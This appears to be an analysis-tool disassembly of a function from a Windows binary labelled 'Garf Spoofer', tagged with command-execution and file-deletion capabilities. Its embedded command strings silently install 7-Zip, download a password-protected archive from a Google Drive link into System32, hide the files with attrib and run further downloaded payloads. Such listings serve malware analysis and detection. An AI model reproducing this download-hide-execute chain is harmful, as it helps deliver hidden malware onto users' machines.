Function at 0x140002db0
Capabilities:
Delete file
Execute command
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x78]
sub rsp, 0x150
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
mov rax, qword [0x14000a040]
xor rax, rsp
mov qword [rbp + 0x20], rax
xor r12d, r12d
call fcn.140004bd8
lea rsi, str.C:Program_Files7_Zip7z.exe
mov qword [rbp - 0x20], rsi
mov qword [rbp - 0x18], 0x1d
lea r8, [rbp - 0x20]
mov edx, eax
lea rcx, [rsp + 0x20]
call fcn.140001b10
nop
lea rcx, [rsp + 0x20]
call fcn.140002700
movzx ebx, al
mov rdx, qword [rsp + 0x38]
cmp rdx, 7
jbe 0x140002e67
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002e62
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002e62
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400053c4
test bl, bl
jne 0x140002fed
lea rcx, str.CURL__https:__www.7_zip.org_a_7z2200_x64.msi____output__C:WindowsSystem327z2200_x64.msi___NUL_2_NUL
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140004bd8
lea rdi, str.C:WindowsSystem327z2200_x64.msi
mov qword [rbp - 0x20], rdi
mov qword [rbp - 0x18], 0x22
lea r8, [rbp - 0x20]
mov edx, eax
lea rcx, [rsp + 0x20]
call fcn.140001b10
nop
lea rcx, [rsp + 0x20]
call fcn.140002700
movzx ebx, al
mov rdx, qword [rsp + 0x38]
cmp rdx, 7
jbe 0x140002f02
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002efd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002efd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400053c4
test bl, bl
jne 0x140002f2e
mov r9d, 0x30
lea r8, str.Garf_Spoofer
lea rdx, str.Required_files_not_downloaded.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, str.C:WindowsSystem327z2200_x64.msi__qn__norestart
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.140004bd8
mov qword [rbp - 0x20], rsi
mov qword [rbp - 0x18], 0x1d
lea r8, [rbp - 0x20]
mov edx, eax
lea rcx, [rsp + 0x20]
call fcn.140001b10
nop
lea rcx, [rsp + 0x20]
call fcn.140002700
movzx ebx, al
mov rdx, qword [rsp + 0x38]
cmp rdx, 7
jbe 0x140002faf
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002faa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002faa
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400053c4
test bl, bl
jne 0x140002fe4
mov r9d, 0x30
lea r8, str.Garf_Spoofer
lea rdx, str.Processing_required_files_failed.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.curl__s__o_C:WindowsSystem32Garf.7z__L__https:__drive.google.com_uc_exportdownloadid1V2XCMtHNTqCfx9mQjzvVbtELn8XKxoLe___NUL_2_NUL
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.__C:Program_Files7_Zip7z.exe__x__C:WindowsSystem32Garf.7z___pGarf__oC:WindowsSystem32__aoa___NUL_2_NUL
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
movdqa xmm1, xmmword [0x140007c20]
movdqu xmmword [rbp + 0x10], xmm1
mov byte [rbp], 0
mov rdi, qword [0x14000a9b8]
lea rsi, [0x14000a9a8]
mov rbx, rsi
cmp qword [0x14000a9c0], 0xf
cmova rbx, qword [0x14000a9a8]
call fcn.140004bd8
mov qword [rbp - 0x20], rbx
mov qword [rbp - 0x18], rdi
lea r8, [rbp - 0x20]
mov edx, eax
lea rcx, [rsp + 0x20]
call fcn.140001b10
nop
lea rcx, [rsp + 0x20]
call fcn.140002700
movzx ebx, al
mov rdx, qword [rsp + 0x38]
cmp rdx, 7
jbe 0x1400030b0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400030ab
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400030ab
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400053c4
movabs rcx, 0x8000000000000000
mov edx, 0x16
movabs r13, 0x7fffffffffffffff
test bl, bl
jne 0x140003347
mov rdi, qword [0x14000a9b8]
mov rbx, rsi
cmp qword [0x14000a9c0], 0xf
cmova rbx, qword [0x14000a9a8]
call fcn.140004bd8
mov qword [rbp - 0x20], rbx
mov qword [rbp - 0x18], rdi
lea r8, [rbp - 0x20]
mov edx, eax
lea rcx, [rsp + 0x20]
call fcn.140001b10
nop
mov qword [rbp - 0x20], r12
lea rax, [0x14000a0c8]
mov qword [rbp - 0x18], rax
lea rdx, [rbp - 0x20]
lea rcx, [rsp + 0x20]
call fcn.140002810
cmp dword [rbp - 0x20], 0
jne 0x140003a05
mov rdx, qword [rsp + 0x38]
cmp rdx, 7
jbe 0x140003175
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003170
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003170
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400053c4
mov r15, qword [0x14000a9b8]
mov rax, r13
sub rax, r15
cmp rax, 0xe
jb 0x140003a1b
cmp qword [0x14000a9c0], 0xf
cmova rsi, qword [0x14000a9a8]
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x10], xmm1
lea r14, [r15 + 0xe]
mov ebx, 0xf
lea rdi, [rbp - 0x20]
cmp r14, rbx
jbe 0x140003238
mov rbx, r14
or rbx, 0xf
cmp rbx, r13
jbe 0x1400031f9
mov rbx, r13
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140005140
test rax, rax
je 0x140003318
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140003234
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140003222
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400039f3
jmp 0x1400031da
test rcx, rcx
je 0x140003231
call fcn.140005140
mov rdi, rax
jmp 0x140003234
mov rdi, r12
mov qword [rbp - 0x20], rdi
mov qword [rbp - 0x10], r14
mov qword [rbp - 8], rbx
movsd xmm0, qword [str.attrib_h_s__]
movsd qword [rdi], xmm0
mov eax, dword [0x140007b08]
mov dword [rdi + 8], eax
movzx eax, word [0x140007b0c]
mov word [rdi + 0xc], ax
lea rcx, [rdi + 0xe]
mov r8, r15
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + r14], 0
mov r8d, 0xc
lea rdx, str.___NUL_2_NUL
lea rcx, [rbp - 0x20]
call fcn.140003d30
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x1400032de
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400032d9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400032d9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400053c4
movups xmmword [rbp], xmm6
movups xmmword [rbp + 0x10], xmm7
mov rdx, qword [rbp - 8]
cmp rdx, 0xf
jbe 0x140003324
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000331f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000331f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400053c4
lea rcx, [rbp]
cmp qword [rbp + 0x18], 0xf
cmova rcx, qword [rbp]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movabs rcx, 0x8000000000000000
mov edx, 0x16
mov rsi, qword [0x14000a950]
mov rax, r13
sub rax, rsi
cmp rax, 0xc
jb 0x140003a21
lea r15, [0x14000a940]
mov r12, r15
cmp qword [0x14000a958], 0xf
cmova r12, qword [0x14000a940]
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x70], xmm1
lea r14, [rsi + 0xc]
mov ebx, 0xf
lea rdi, [rbp - 0x80]
cmp r14, rbx
jbe 0x140003404
mov rbx, r14
or rbx, 0xf
cmp rbx, r13
jbe 0x1400033cb
mov rbx, r13
lea rax, [rcx + 0x27]
mov rcx, rax
call fcn.140005140
test rax, rax
je 0x14000361d
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140003400
cmp rbx, 0x16
cmovb rbx, rdx
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1400033ef
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400039f9
jmp 0x1400033ac
test rcx, rcx
je 0x1400033fe
call fcn.140005140
mov rdi, rax
jmp 0x140003400
xor edi, edi
mov qword [rbp - 0x80], rdi
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x68], rbx
movsd xmm0, qword [str.curl__s__o__]
movsd qword [rdi], xmm0
mov eax, dword [0x140007b20]
mov dword [rdi + 8], eax
lea rcx, [rdi + 0xc]
mov r8, rsi
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + r14], 0
mov r8d, 6
lea rdx, str.___L__
lea rcx, [rbp - 0x80]
call fcn.140003d30
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x70], xmm1
xor ebx, ebx
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], bl
lea rdx, [0x14000a8c0]
cmp qword [0x14000a8d8], 0xf
cmova rdx, qword [0x14000a8c0]
mov r8, qword [0x14000a8d0]
lea rcx, [rsp + 0x60]
call fcn.140003d30
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], rbx
mov byte [rax], bl
lea r8d, [rbx + 0xc]
lea rdx, str.___NUL_2_NUL
lea rcx, [rsp + 0x40]
call fcn.140003d30
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], bl
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x14000353d
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003538
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003538
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400053c4
movups xmmword [rbp], xmm6
movups xmmword [rbp + 0x10], xmm7
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x140003585
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003580
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003580
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400053c4
movdqa xmm0, xmmword [0x140007c20]
movdqu xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x40], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x1400035d8
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400035d3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400035d3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400053c4
movdqa xmm0, xmmword [0x140007c20]
movdqu xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x60], 0
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x140003629
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003624
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003624
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400053c4
lea rcx, [rbp]
cmp qword [rbp + 0x18], 0xf
cmova rcx, qword [rbp]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r13, qword [0x14000a998]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r13
cmp rax, 0xc
jb 0x1400039ed
lea rsi, [0x14000a988]
mov r12, rsi
cmp qword [0x14000a9a0], 0xf
cmova r12, qword [0x14000a988]
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x30], xmm1
lea r14, [r13 + 0xc]
mov ebx, 0xf
lea rdi, [rsp + 0x20]
cmp r14, rbx
jbe 0x140003717
mov rbx, r14
or rbx, 0xf
cmp rbx, rcx
jbe 0x1400036d8
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140005140
test rax, rax
je 0x140003923
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140003712
cmp rbx, 0x16
mov eax, 0x16
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140003701
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400039ff
jmp 0x1400036b9
test rcx, rcx
je 0x140003710
call fcn.140005140
mov rdi, rax
jmp 0x140003712
xor edi, edi
mov qword [rsp + 0x20], rdi
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x38], rbx
movsd xmm0, qword [str.curl__s__o__]
movsd qword [rdi], xmm0
mov eax, dword [0x140007b20]
mov dword [rdi + 8], eax
lea rcx, [rdi + 0xc]
mov r8, r13
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + r14], 0
mov r8d, 6
lea rdx, str.___L__
lea rcx, [rsp + 0x20]
call fcn.140003d30
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x30], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x30], xmm1
xor ebx, ebx
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], bl
lea rdx, [0x14000a920]
cmp qword [0x14000a938], 0xf
cmova rdx, qword [0x14000a920]
mov r8, qword [0x14000a930]
lea rcx, [rbp - 0x40]
call fcn.140003d30
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rax + 0x18], 0xf
mov qword [rax + 0x10], rbx
mov byte [rax], bl
lea r8d, [rbx + 0xc]
lea rdx, str.___NUL_2_NUL
lea rcx, [rbp - 0x60]
call fcn.140003d30
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 0xf
mov byte [rax], bl
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x140003849
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003844
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003844
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400053c4
movups xmmword [rbp], xmm6
movups xmmword [rbp + 0x10], xmm7
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x14000388f
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000388a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000388a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400053c4
movdqa xmm0, xmmword [0x140007c20]
movdqu xmmword [rbp - 0x50], xmm0
mov byte [rbp - 0x60], 0
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x1400038de
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400038d9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400038d9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400053c4
movdqa xmm0, xmmword [0x140007c20]
movdqu xmmword [rbp - 0x30], xmm0
mov byte [rbp - 0x40], 0
mov rdx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x14000392f
inc rdx
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000392a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000392a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400053c4
lea rcx, [rbp]
cmp qword [rbp + 0x18], 0xf
cmova rcx, qword [rbp]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmp qword [0x14000a958], 0xf
cmova r15, qword [0x14000a940]
mov rcx, r15
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmp qword [0x14000a9a0], 0xf
cmova rsi, qword [0x14000a988]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x1400039b4
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400039af
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400039af
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400053c4
xor eax, eax
mov rcx, qword [rbp + 0x20]
xor rcx, rsp
call fcn.140005120
lea r11, [rsp + 0x150]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140001470
nop
call fcn.1400013d0
int3
call fcn.1400013d0
int3
call fcn.1400013d0
nop
lea r8, [rsp + 0x20]
lea rdx, [rbp - 0x20]
lea rcx, str.create_directories
call fcn.1400026a0
nop
call fcn.140001470
int3
call fcn.140001470
int3